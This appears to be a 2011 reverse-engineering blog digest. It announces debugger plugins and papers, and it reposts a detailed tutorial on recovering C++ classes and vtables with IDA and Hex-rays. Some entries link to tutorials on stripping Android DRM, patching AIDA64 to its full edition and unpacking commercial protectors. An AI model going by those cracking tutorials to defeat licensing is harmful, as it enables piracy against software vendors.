http://www.egrupos.net/grupo/rdgsoft/ficheros/8/verFichero/10/RDG%20Signaturas%20Actualizables%2013May2011.rar

Best Regards

 

IDAFicator v2.0.1.48

Posted: May 30, 2011 in RE Tools

idaficator

Author Zool@nder
Author website www.at4re.com
Description This plugin tries to make the life of OllyDBG© users easier by bringing to him some fast and frequently used function.

What’s new in v.2.0.1.48:
~~~~~~~~~~~~~~~~~~
- Completely re wrote multi assembler. aka ROTE aka Rainbow Ollydbg Text Assembler
- New Goto dialogbox with code completion
- A lot of new shortcuts

[+]: Added mouse scrolling ability to Goto listbox.
[+]: Added a workaround StrongOD problem hooking NtCreateProcess: You have to
go to settings>rote tab, then set the number of milliseconds to sleep
after compilation (500 ms works fine form me on a core 2 duo 1.60GHz).
Thus, I noticed that it succeed only if THERE ARE NO ERRORS in the code.
[+]: Ability to supersede StrongOD and AdvancedOlly Goto dialogbox even if
not disabled (‘Choosable’).
[+]: Ability to supersede StrongOD status bar info (idaficator must be loaded
last, and to do so, just execute ollydbg without idaficator, then add it
and re-run (after checking ‘Supremacy mode’ from settings)).
[!]: Fix various tiny bugs.

You can download the Full package of IDAFicator from this link:

http://www.multiupload.com/UEKJ0DV8DA

 

A Refined Decompiler to Generate C Code with High Readability

Author [ Various Authors ]

Description:

As a key part of reverse engineering, decompilation plays a very important role in software security and maintenance. Unfortunately, most existing decompilation tools suffer from the low accuracy in identifying variables, functions and composite structures, which results in poor readability. To address these limitations, we present a practical decompiler called C-Decompiler for Windows C programs that 1 uses a shadow stack to perform refined data flow analysis, and 2 adopts inter-basic-block register propagation to reduce redundant variables. Our experimental results illustrate that on average C-Decompiler has the highest total percentage reduction of 55.91%, lowest variable expansion rate of 55.79% in the three tools, and the same Cyclomatic Complexity as the original source code for each test application. Furthermore, in our experiment, C-Decompiler is able to recognize functions with lower false positive and false negative rate. In the studies, we show that C-Decompiler is a practical tool to produce highly readable C code. Image no image availableFilesize 303.75 kB

Download here

Reversing Android SlideLock 1.1

Author : Nieylana

Description SlideLOCK is a DRM system for AndroidOS programs that aims to prevent the sharing of purchased APKs amongst users. The protection lies in special classes that the programmer must implement into his/her own code that does server-side checking with device-specific information to ensure the user is authorized to access the application. This tutorial explain protection’s under-hoods and removing process.

Filesize 1.07 MB

Download here

Regards

Tuts 4 You – Collection 2011

Author Teddy Rogers

Author email teddyrogers©tuts4you.com

Author website http://tuts4you.com/

Description

This is a complete archive site rip of all files on Tuts 4 You as of July 2011 except for the malware samples – you will need to download these directly from Tuts 4 You.I have created the torrent as directories and files rather than one archive which gives you the option to download files individually or in categories. The entire collection is 3.69 GB of which some sections may be of little interest to some but you have the option of downloading what you want.This collection will be updated annually so please check at the following link for the official and up-to-date torrent file: http://tuts4you.com/download.php?view.3162

Please remember to seed the torrent and help share the knowledge within the reversing community. I hope this satisfies the leechers, thank you!

Teddy Rogers.

Download here

As you see, this version already supports plugins. New plugin interface is similar to the old (v1.10) but is not backwards compatible. It includes more than 350 API functions, 60 or so variables and many enumerations and structures that all need to be documented. This will take a while, therefore I decided to make a preliminary release. It includes plugin header file (plugin.h) and commented bookmarks source code (bookmark.c). Writing your own plugins without the documentation is a pure masochism, but at least you will be able to analyse the structure of the interface and  send me your comments, wishes and suggestions.

This is the last alpha release. After plugin documentation is ready, I will call it 2.01 beta 1. Then I will start to write OllyDbg help and finally make the full 2.01 release. Till then, I plan no major changes.

Other new features in this version:

- Patch manager, similar to 1.10
- Shortcut editor, supports weird things like Ctrl+Win+$ etc. Now you can customize and share your shortcuts. I haven’t tested it on Win7, please report any found bugs and incompatibilities!
- Instant .udd file loading. In the previous versions I’ve postponed analysis, respectivcely reading of the .udd file till the moment when all external links are resolved. But sometimes it took plenty of time, module started execution and was unable to break on the breakpoints placed in the DLL initialization routine
- Automatic search for the SFX entry point, very raw and works only with several packers. Should be significantly more reliable than 1.10. If you tried it on some SFX and OllyDbg was unable to find real entry, please send me, if possible, the link or executable for analysis!
- “Go to” dialog lists of matching names in all modules
- Logging breakpoints can protocol multiple expressions. Here is an example: I ask OllyDbg to protocol the contents of EAX, EBX and 4 memory doublewords starting at address ESP. Expressions must be separated by commas, repeat count has form SIZE*N, N=1..32:

Breakpoint with multiple expressions to protocol

This is what you will see in the log when breakpoint is hit:

Multiple expressions protocolled

Many not-so-important new features:

- Thread names (MS_VC_EXCEPTION)
- UNICODE box characters clipboard mode
- Multiline debugging strings (of large size)
- On debug string, OllyDbg attempts to find call to OutputDebugString()
- INT3 breakpoints set on the first byte of edited memory area are retained
- Decoding of User Shared Data block
- Addressing relative to module base
- If plugin crashes, OllyDbg will report its name
- etc, etc.

I have received many bug reports. Some of them are solved, some are not. There is a very nasty bug that I was unable to reproduce: OllyDbg crashes with memory access violation inside the GlobalAlloc()?!! Either OllyDbg unintentionally taints internal data structures used by memory manager, or some virus scanner overreacts, or this is a bug of Windows itself? If you have any clue, please let me know.

That’s all for now. I will make a short vacations, a week or so, and in order to keep my sanity will not check for new emails. Please have some patience!

Download here: http://ollydbg.de/odbg201d.zip

Bookmark Plugin : http://ollydbg.de/plug201d.zip

Regards

Author : by deepzero, 2011

Foreword

Private exe Protector (PEP) is a lower end intermediate PE file protection and licensing solution. The price, 200$, is quiet high, which might be one of the reasons this protector is rarely being used.  I chose it here because there is little to no documentation available on version 3.x. From the PEP
homepage:
Private exe Protector (PEP) is a professional licensing, anti-tampering and software examination system. PEP works with traditional methods, such as file compression, code fragment encryption, metamorphic loading, protection from debugging and file tampering , and features new innovative techniques, including data protection with stolen resources technique and partial code execution on a virtual machine. Licensing functions can be automatically integrated into the protected program, which allows the end user to quickly and securly manage all licences issued with the built in licence manager. All in all, it is the ideal solution for software developers.

Tools used
OllyDebug 1.10, LordPe, ImpRec, CFF Explorer, PiD, ResHacker, HexEdit (all freeware).
OllyDebug plugins: ollyadvanced, MultiMate assembler, odbgscript, IDAficator,AnalyzeThis!

Download tutorial here : http://www.mediafire.com/?2132cq2cadv42ez

Author: Nox

This soft, I download it early August, now is not that seeing is, but take more versions per month, it will look like firefox, with many versions, well AIDA64 is a software that shows you the characteristics of hardware, and thanks to Eddy, who could conceive this tute.
Attacking several points, and being very observant could achieve FULL edition.

Any question, feel free to do so.

Nox.

Download here: Parchando_AIDA64_v1.80.1450_[Delphi_6.0_7.0]_por_Nox

Next Generation Collaborative Reversing with Ida Pro and CollabREate

Author : Christopher Eagle, Timothy Vidas

Description A major drawback with the use of most reverse engineering tools is that they were not designed with collaboration in mind. Numerous kludgy solutions exist from asynchronous use of the same data files to working on multiple copies of data files all of which quickly diverge, leaving the differences to somehow be reconciled. These methods and existing tools provided a first step towards automated collaboration amongst IDA Pro users, however they suffer from several shortcomings including the fact that tools have failed to keep pace with the evolution of IDA’s internal architecture. In this paper the authors present a new collaborative tool, titled collabREate, designed to bring nearly effortless collaboration to IDA users.

Filesize 155.97 kB

Download here : http://tuts4you.com/request.php?3214

Regards

Author: Aris

Introduction

During my holidays, I had plenty of time to study and reverse a program, which was completely coded in C++. This was the first time I seriously studied a C++ codebase, using IDA as the only source of information, and found it quite hard.

Here’s a sample of what you get with Hex-rays when you start up digging into an interesting function:

v81 = 9;
v63 = *(_DWORD *)(v62 + 88);
if ( v63 )
{
   v64 = *(int (__cdecl **)(_DWORD, _DWORD, _DWORD,
   _DWORD, _DWORD))(v63 + 24);
   if ( v64 )
     v62 = v64(v62, v1, *(_DWORD *)(v3 + 16), *(_DWORD
     *)(v3 + 40), bstrString);
}

It’s our job to add symbol names, identify classes and set up all the information to help hex-rays in giving us a reliable and certainly understandable output:

padding = *Dst;
if ( padding < 4 )
  return -1;
buffer_skip_bytes(this2->decrypted_input_buffer, 5u);
buffer_skip_end(this2->decrypted_input_buffer, padding);
if ( this2->encrypt_in != null )
{
  if ( this2->compression_in != null )
  {
    buffer_reinit(this2->compression_buffer_in);
    packet_decompress(this2,
      this2->decrypted_input_buffer,
      this2->compression_buffer_in);
    buffer_reinit(this2->decrypted_input_buffer);
    avail_len = buffer_avail_bytes(this2->compression_buffer_in);
    ptr = buffer_get_data_ptr(this2->compression_buffer_in);
    buffer_add_data_and_alloc(this2->decrypted_input_buffer, ptr, avail_len);
  }
}
packet_type = buffer_get_u8(this2->decrypted_input_buffer);
*len = buffer_avail_bytes(this2->decrypted_input_buffer);
this2->packet_len = 0;
return packet_type;

Of course, Hex-rays is not going to invent the names for you, you’ll still have to make sense of the code and what it means to you, but at least, being able to give a name to the classes will certainly help.

All my samples here have been compiled either with visual studio or Gnu C++. I have found the results to be similar, even if they may not be compatible. Fix it for your compiler of interest.

Structure of a C++ program

It is not my goal to teach you how OOP works, you already know that. We’ll just see how it works (and is implemented) in the big lines.

Class = data structure + code (methods).

The data structure can only be seen in the source code, when the methods will appear in your favorite disassembler.

Object = memory allocation + data + virtual functions.

The object is an instantiation of a class, and something you can observe in IDA.  An object needs memory, so you will see a call to new() (or a stack allocation), a call to a constructor and a destructor. You will see accesses to its member variables (embedded objects) and maybe calls to virtual functions.

Virtual functions are silly: it is hard to know, without running the program with breakpoints, what code is going to be executed at runtime (and disassemble it).

Member variables are a bit easier: they work like their counterpart in C (structs), and IDA has a very handy tool to declare structures, and hex-rays handles them very well in the disassembly. Let’s go back to the bits and bytes.

Object creation

int __cdecl sub_80486E4()
{
  void *v0; // ebx@1
  v0 = (void *)operator new(8);
  sub_8048846(v0);
  (**(void (__cdecl ***)(void *))v0)(v0);
  if ( v0 )
    (*(void (__cdecl **)(void *))(*(_DWORD *)v0 + 8))(v0);
  return 0;
}

Here’s the decompilation of a small test program I compiled with G++. We can see the new(8), which means our object is 8 bytes long, even if that doesn’t mean we have 8 bytes of variables.

The function sub_8048846 called just after the new() takes the pointer as parameter, and certainly is the constructor.

The next function call is a little cryptic. It’s doing two pointer deferences on v0 before calling it. It’s a virtual function call.

All polymorphic objects have a special pointer in their variables, called the vtable. This table contains addresses of all the virtual methods, so the C++ program can call them when needed. In the compilers I could test, this vtable is always the first element of an object, and always stays at the same place, even in subclasses. (This could no stay true for multiple inheritance. I did not test).

Let’s do some IDA magic:

Rename the symbols

Just click on a name, press « n » and give a meaningful name. Since we don’t know yet what our class do, I suggest we name the class « class1 », and use this convention until we’ve understood what our class do. It’s very possible that we’re going to discover other classes before we finished digging class1, so I suggest we simply continue naming classes as we find them.

int __cdecl main()
{
  void *v0; // ebx@1
  v0 = (void *)operator new(8);
  class1::ctor(v0);
  (**(void (__cdecl ***)(void *))v0)(v0);
  if ( v0 )
    (*(void (__cdecl **)(void *))(*(_DWORD *)v0 + 8))(v0);
  return 0;
}

Create structures

The « structures » window of IDA is very useful. Type Shift-F9 to make it appear. I suggest you pull it off (in the QT IDA version) and put it on the right of the IDA window, so you can see both the decompile window and the structures.

Press « ins » and create a new structure « class1 ». Since we know that this structure is 8 bytes long, add fields (using key « d ») until we have two « dd » fields. Rename the first to vtable, since yes, that’s what we got here !

Now, we’re going to add typing information in our function. Right-click on v0, « Convert to struct * », select « class1 ». Alternatively, pressing « y » and typing in « class1 * » will give you the same result.

Create a new structure, of 12 bytes, and call it « class1_vtable ». At this state, we cannot really know how big that vtable is, but changing the structure size is very easy. Click on « vtable » in class1’s declaration, and type « y ». Now, declare it as a « class1_vtable * » object. Refresh the pseudocode view, and watch the magic.

We can rename the few methods to « method1 » to « method3 ». Method3 is certainly the destructor. Depending on the programming convention and the compiler used, the first method often is the destructor, but here’s a counterexample. It is time to analyze the constructor.

Analysis of the constructor

int __cdecl class1::ctor(void *a1)
{
  sub_80487B8(a1);
  *(_DWORD *)a1 = &off_8048A38;
  return puts("B::B()");
}

You can start by setting the typing information we already know on « a1 ». The puts() call confirms our thoughts that we are in a constructor, but here we even learn the name of the class.

« sub_80487B8() » is called directly in the constructor. This can be a static method of class1, but it can also be a constructor of a parent-class.

« off_8048A38 » is the vtable of class1. By looking there, you will be able to find out how big is our vtable (just watch the next pointer that has an Xref), and a list of the virtual methods of « class1 ». You can rename them to « class1_mXX », but beware that some of these methods may be shared with other classes.

It is possible to set typing information on the vtable itself (click on it, « y », « class1_vtable »), but I do not recommend it since you lose the classic view in IDA, and it doesn’t provide anything you can’t see in the classic view.

The strange call in the constructor

int __cdecl sub_80487B8(int a1)
{
  int result; // eax@1
  *(_DWORD *)a1 = &off_8048A50;
  puts("A::A()");
  result = a1;
  *(_DWORD *)(a1 + 4) = 42;
  return result;
}

The call to the « sub_80487b8() » function in the constructor reveals us the same type of function: a virtual function table pointer is put in the vtable member, and a puts() tells us we’re in yet another constructor.

Don’t retype the type « class1 » for argument « a1 », since we’re not dealing with class1. We found a new class, that we will call « class2 ». This class is a superclass of class1. Let’s do the same work as in class1. The only difference it that we do not know exactly the size of its member. There are two ways of figuring it out:

  • Look at the xrefs of class2 ::ctor. If we find a straight call to it after a new (i.e. an instantiation), we know the size of its members.
  • Look at the methods in the vtable, and try to guess what’s the highest member ever accessed.

In our case, « class2 ::ctor » accesses the 4 bytes after the 4 first ones and set it to 42. Since its child-class « class1 » is 8 bytes long, so is « class2 ».

Do the same procedure with all the subclasses, and give names to the virtual functions, starting from the parent classes to the children.

Study of the destructors

Let’s go back to our main function. We can see that the last call, before our v0 object becomes a memory leak, is a call to the third virtual method of class2. Let’s study it.

if ( v0 )
  ((void (__cdecl *)(class1 *))
    v0->vtable->method_3)(v0);
…
void __cdecl class1::m3(class1 *a1)
{
  class1::m2(a1);
  operator delete(a1);
}
…
void __cdecl class1::m2(class1 *a1)
{
  a1->vtable = (class1_vtable *)&class1__vtable;
  puts("B::~B()");
  class2::m2((class2 *)a1);
}
…
void __cdecl class2::m2(class2 *a1)
{
  a1->vtable = (class2_vtable *)&class2__vtable;
  puts("A::~A()");
}

What we can see here is the following: class1 ::m3 is a destructor, which calls class1 ::m2 which is the main destructor of class1. What this destructor do is ensure that we’re well in « class1 » context, by setting back the vtable to is « class1 » state. It then calls the destructor of « class2 », which also sets the vtable to « class2 » context. This method can also be used to walk through the whole class hierarchy, since the virtual destructors must always be called for all the classes in the way.

Hey, what are all these casts? Why do I have two structures defining the same fields?

What we have here is exactly the same problem that you get when doing OOP with C : You end up with several fields declared in all the subclasses. Here is what I do to avoid redefinition of fields:

  • For each class, define a classXX_members, classXX_vtable, classXX structure.
  • classXX contains
    • +++ vtable (typed to classXX_vtable *)
    • +++ classXX-1_members (members of the superclass)
    • +++ classXX_members, if any
      • classXX_vtable contains
      • +++classXX-1_vtable
      • +++classXX’s vptrs, if any

 

Ideally, you should start from the main class to the children, until you end up in an edge class. In our exemple, here’s the « solution » of our sample:

 

00000000 class1          struc ; (sizeof=0x8)
00000000 vtable          dd ?                    ; offset
00000004 class2_members  class2_members ?
00000008 class1          ends
00000008
00000000 ; ----------------------------------------------00000000
00000000 class1_members  struc ; (sizeof=0x0)
00000000 class1_members  ends
00000000
00000000 ; ----------------------------------------------00000000
00000000 class1_vtable   struc ; (sizeof=0xC)
00000000 class2_vtable   class2_vtable ?
0000000C class1_vtable   ends
0000000C
00000000 ; ----------------------------------------------00000000
00000000 class2          struc ; (sizeof=0x8)
00000000 vtable          dd ?                    ; offset
00000004 members         class2_members ?
00000008 class2          ends
00000008
00000000 ; ----------------------------------------------00000000
00000000 class2_vtable   struc ; (sizeof=0xC)
00000000 method_1        dd ?                    ; offset
00000004 dtor            dd ?                    ; offset
00000008 delete          dd ?                    ; offset
0000000C class2_vtable   ends
0000000C
00000000 ; ----------------------------------------------00000000
00000000 class2_members  struc ; (sizeof=0x4)
00000000 field_0         dd ?
00000004 class2_members  ends
00000004
int __cdecl main()
{
  class1 *v0; // ebx@1
  v0 = (class1 *)operator new(8);
  class1::ctor(v0);
  ((void (__cdecl *)(class1 *)) v0->vtable->class2_vtable.method_1)(v0);
  if ( v0 )
    ((void (__cdecl *)(class1 *)) v0->vtable->class2_vtable.delete)(v0);
  return 0;
}
int __cdecl class1::ctor(class1 *a1)
{
  class2::ctor((class2 *)a1);
  a1->vtable = (class1_vtable *)&class1__vtable;
  return puts("B::B()");
}
class2 *__cdecl class2::ctor(class2 *a1)
{
  class2 *result; // eax@1
  a1->vtable = (class2_vtable *)&class2__vtable;
  puts("A::A()");
  result = a1;
  a1->members.field_0 = 42;
  return result;
}

In brief

  • When you find a new class, give a symbolic name, and resolve the whole tree before figuring out what should be its real name
  • Start from the ancestor and go up to the children
  • Look at the constructors and destructors first, check out the references to new() and static methods.
  • Often, the methods of a same class are located close to each other in the compiled file. Related classes (inheritance) may be far away from each other. Sometimes, the constructors are inlined in childclasses constructors, or even at the place of the instantiation.
  • If you want to spare time when reversing huge inherited structures, use the struct inclusion trick to name variable only once.
  • Use and abuse Hex-rays’ typing system, it’s very powerful.
  • Pure virtual classes are hell : you can find several classes having similar vtables, but no code in common. Beware of them.

Sources

Try this at home !
The binary (elf32 stripped)

Greatz thanks to Aris for sharing his knowledge! Original link: http://blog.0xbadc0de.be/archives/67

Regards

m4n0w4r

 

 

Author LCF-AT
Description Today I release a new manually unpack tutorial about a double protection UnpackMe. So I thought it is a good idea to create a new one and this also without to use a script. This tutorial I made is created in “Newbie Stlye” so that means that I have made two videos and one long detailed text tutorial where you can read all steps from the video so I have not comment the video. So if something is not clear what you can see in the videos then you can read the text tutorial too to know what and why happened this on XY place. Just created the text also for newbies.

Download link : http://www.fshare.vn/file/MDD96X0XPC/

Regards

m4n0w4r

Author Sven Schmitt, Michael Spreitzenbarth, Christian Zimmermann
Description YAFFS2 is a file system which is used in many modern smartphones. Allthough YAFFS2 is an open standard and there exists an open source implementation, the behavior of YAFFS2 is not very well understood. Additionally, several aspects like wear-leveling and garbage-collection are not well-specified in the standard so that their actual behavior has to be reverse engineered from the implementation. Here, we give an introduction to and describe the basic functionality of YAFFS2. We place a particular focus on the detailed analysis of both wear-leveling and garbage-collection mechanisms, since these are important within a forensic analysis of the file system.

Download link : http://www.fshare.vn/file/QS65J5T8YI/

Regards

m4n0w4r

Author Mr. eXoDia
Author website http://www.tpodt.tk/
Description A Flash movie showing a method of unpacking Armadillo 7.00 with CopyMem2, Import Elimination and Strategic Code Splicing protection.

Download link: http://www.fshare.vn/file/RVLNSZH7CE/

Regards

m4n0w4r